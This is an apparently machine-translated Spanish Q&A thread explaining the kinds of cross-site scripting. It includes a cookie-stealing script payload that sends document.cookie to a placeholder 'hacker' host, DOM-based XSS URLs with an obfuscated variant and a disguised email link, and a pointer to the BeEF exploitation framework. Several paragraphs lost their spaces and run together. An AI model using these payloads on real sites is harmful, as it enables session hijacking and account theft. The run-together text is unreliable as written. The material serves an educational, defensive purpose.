XSS: secuencias de comandos entre sitios (pero no limitado a secuencias de comandos reales entre sitios)
XSS generalmente se presenta de 3 formas diferentes:
No persistente (a menudo llamado XSS reflejado)
Esto es cuando puede inyectar el código y el servidor se lo devuelve sin supervisión. A menudo, esto se puede explotar mediante la distribución de una URL (generalmente de aspecto inocente) de alguna forma o forma para que otros hagan clic.
Esto puede ser particularmente efectivo cuando se trata de ataques enfocados contra alguien. Siempre que pueda hacer que alguien haga clic en la URL que envió, existe la posibilidad de que obtenga privilegios elevados en el sistema.
Ejemplo:
Un sitio que contiene un campo de búsqueda no tiene la correcta desinfección de entrada. Al crear una consulta de búsqueda parecida a esto:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>Sentadoenelotroextremo,enelservidorweb,recibirásvisitasdonde,despuésdeunespaciodoble,estálacookiedelosusuarios.Podríatenersuertesiunadministradorhaceclicenelenlace,loquelepermiterobarsuIDdesesiónysecuestrarlasesión.
Usandotécnicascomocorreoselectrónicosnodeseados,mensajeseneltablerodemensajes,mensajesdemensajeríainstantánea,herramientasdeingenieríasocial,estavulnerabilidadpuedesermuypeligrosa.
DOM-based
Muysimilaralanopersistente,perodondelacargaútildejavascriptnotienequedevolversedesdeelservidorweb.Amenudo,estopuedesucedercuandoelvalordeunparámetrodeURLvuelveaaparecerenlapáginasobrelamarchacuandosecargautilizandounjavascriptyaresidente.
Ejemplo:
http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>Porsupuesto,loscriminalesmodificaríanlaURLparahacerlamásinocente.Lamismacargaútilqueseindicaarribasecodificademaneradiferente:
http://victim/displayHelp.php?title=FAQ#<scri#112t>alert(document.cookie)</script>InclusopuedeenmascararlomejoralenviaraclientesdecorreoelectrónicoqueadmitenHTMLcomoeste:
<ahref="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>
Persistente
Una vez que eres capaz de persistir un vector XSS, el ataque se vuelve mucho más peligroso muy rápido. Un XSS persistente se refleja desde el servidor, generalmente porque el XSS se ha almacenado en un campo de base de datos o similar. Considere que la siguiente entrada se almacena en la base de datos y luego se presenta en su perfil:
<input type="text" value="Your name" />
Si puede hacer que la aplicación acepte y almacene entradas no saneadas, todo lo que tiene que hacer es hacer que otros usuarios vean su perfil (o donde se refleja el XSS).
Este tipo de XSS puede ser no solo difícil de detectar, sino también muy devastador para el sistema. Simplemente eche un vistazo al gusano XSS llamado Samy worm !
En los primeros días de XSS viste este tipo de explotación en todos los libros de visitas, comunidades, opiniones de usuarios, salas de chat, etc.
Dos vectores de ataque
Ahora que conoce las diferentes formas de entregar una carga útil XSS, me gustaría mencionar algunos vectores de ataque XSS que pueden ser muy peligrosos:
Desgravación XSS
La desfiguración de XSS no es una hazaña difícil de lograr. Si el XSS también es persistente, puede ser una molestia para que los administradores de sistemas lo resuelvan. Echa un vistazo al "ataque" de RSnake Stallowned que eliminó la función de vista previa del libro de Amazon. Lectura bastante divertida.
Robo de cookies y secuestro de sesión
Como en uno de los ejemplos anteriores, una vez que puede acceder a las cookies de los usuarios, también puede obtener información confidencial. La captura de SessionID puede llevar al secuestro de sesión, lo que a su vez puede llevar a privilegios elevados en el sistema.
Lo siento por el largo post. Me detendré ahora. Como puede ver, sin embargo, XSS es un tema muy grande para cubrir. Sin embargo, espero que te quede un poco más claro.
Explotación de XSS con BeEF
Para ver fácilmente cómo se puede explotar XSS, recomiendo probar BeEF , Framework de explotación de navegador. Una vez desempaquetado y ejecutado en un servidor web con soporte para PHP, puedes fácilmente intentar generar una simulación de una víctima (llamada zombie) donde puedes probar diferentes cargas útiles XSS muy fácilmente. Para mencionar algunos:
La lista continúa. Recomiendo ver el video en la página de inicio de BeEF.
ACTUALIZACIÓN: he hecho un informe sobre XSS en mi blog, que describe XSS. Contiene un poco sobre la historia de XSS, los diferentes tipos de ataques y algunos casos de uso, incluidos BeEF y Shank.
Para saber más sobre lo que dijo SteveSyfuhs, hay muchas formas posibles de que XSS se pueda usar.
Ejemplos :
Un ejemplo sería inyectar código malicioso en un campo de base de datos. Posteriormente, cada vez que ese campo se muestre al usuario final sin autorización, su navegador ejecutará el código. Esto se denomina Secuencias de comandos de sitios cruzados persistentes / almacenados .
Otra sería la posibilidad de insertar código en los parámetros GET o POST sin que se validen o desinfecten. Cuando esas variables modifican el contenido de su página, los datos modificados se mostrarán al usuario final y su navegador ejecutará el código malicioso. Esto suele estar presente en los enlaces maliciosos por correo electrónico / web que envían estos parámetros GET cuando alguien hace clic en el enlace. Esto se denomina secuencia de comandos de sitio cruzado reflejado .
Recursos:
Fortify Software tiene un gran recurso para explicar las vulnerabilidades y dando ejemplos: enlace
- Haga clic en el idioma de su elección, y bajo Validación de entrada y
Representación que puede seleccionar entre los diferentes tipos de sitios cruzados
Vulnerabilidades de scripting según lo definido por Fortify Software.OWASP tiene un gran recurso para explicando como prevenir el XSS vulnerabilidades: enlace
XSS consiste en dejar datos arbitrarios en un sistema y luego mostrar los datos sin modificar a un usuario. Si guardaba algunos js en mi perfil y conseguía que alguien viera esa página, se ejecutaría el js. Como ejemplo, podría hacer que el js envíe el contenido de la cookie de los usuarios a mi servicio web, permitiéndome hacer lo que quisiera con su cookie, como robar su sesión.
En pocas palabras, los scripts de sitios cruzados engañan al navegador web para que ejecute código malicioso porque los desarrolladores no verificaron las entradas que no son de confianza.
Entonces, si toma un ejemplo de un ataque XSS, la entrada no confiable podría ser un parámetro de URL que contenga JavaScript. El desarrollador asume que el parámetro solo contiene datos (o no lo comprueba lo suficiente) y simplemente agrega el contenido del parámetro a la página HTML. Luego, el navegador ejecuta correctamente el JavaScript y usted tiene un ataque XSS reflejado.
Puede encontrar más información aquí: página XSS de OWASP
Lea otras preguntas en las etiquetas web-application attacks appsec xss